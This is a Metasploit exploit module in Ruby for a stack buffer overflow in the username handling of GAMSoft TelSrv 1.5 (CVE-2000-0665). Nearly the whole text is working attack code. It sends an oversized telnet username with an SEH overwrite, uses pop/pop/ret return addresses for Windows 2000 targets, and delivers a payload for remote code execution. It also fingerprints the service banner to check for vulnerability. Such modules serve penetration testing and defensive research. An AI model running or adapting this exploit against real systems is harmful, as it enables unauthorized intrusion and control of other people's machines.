GAMSoft TelSrv 1.5 Username Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/   
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})   
super(update_info(info,   
'Name' => 'GAMSoft TelSrv 1.5 Username Buffer Overflow',  
'Description' => %q{  
This module exploits a username sprintf stack overflow in GAMSoft TelSrv 1.5.  
Other versions may also be affected. The service terminates after exploitation,  
so you only get one chance!  
},  
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],  
'Arch' => [ ARCH_X86 ],   
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2000-0665'],  
[ 'OSVDB', '373'],  
[ 'BID', '1478'],   
[ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],  
],   
'Privileged' => false,   
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{   
'Space' => 1000,  
'BadChars' => "\x00\x0a",  
'StackAdjustment' => -3500,  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[  
'Windows 2000 Pro SP0/4 English REMOTE',  
{  
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL  
'Offset' => 1886,  
}  
],  
[   
'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',  
{  
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL  
'Offset' => 3318,  
}  
],  
[   
'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',  
{  
'Ret' => 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL  
'Offset' => 3358,  
}  
],  
#[  
#'Windows XP Pro SP0/1 English',  
#{  
# 'Ret' => 0x71aa32ad, # pop/pop/ret xp pro en ALL  
# 'Offset' => 2600, # this is made up and absolutely wrong ;-)  
#}  
#],  
#[  
],  
'DisclosureDate' => 'Jul 17 2000',   
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(23),  
], self.class)  
end  
  
def check   
connect  
print_status("Attempting to determine if target is vulnerable...")  
sleep(7)  
banner = sock.get_once(-1,3)  
  
if (banner =~ /TelSrv 1\.5/)  
return Exploit::CheckCode::Vulnerable   
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")   
connect  
print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.  
sleep(7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.   
  
username = rand_text_english(20000, payload_badchars)  
seh = generate_seh_payload(target.ret)  
username[target['Offset'], seh.length] = seh  
  
print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")  
sock.put(username)  
sleep(0.25)  
print_status('Exploit sent...')   
handler  
disconnect  
end  
  
end  
`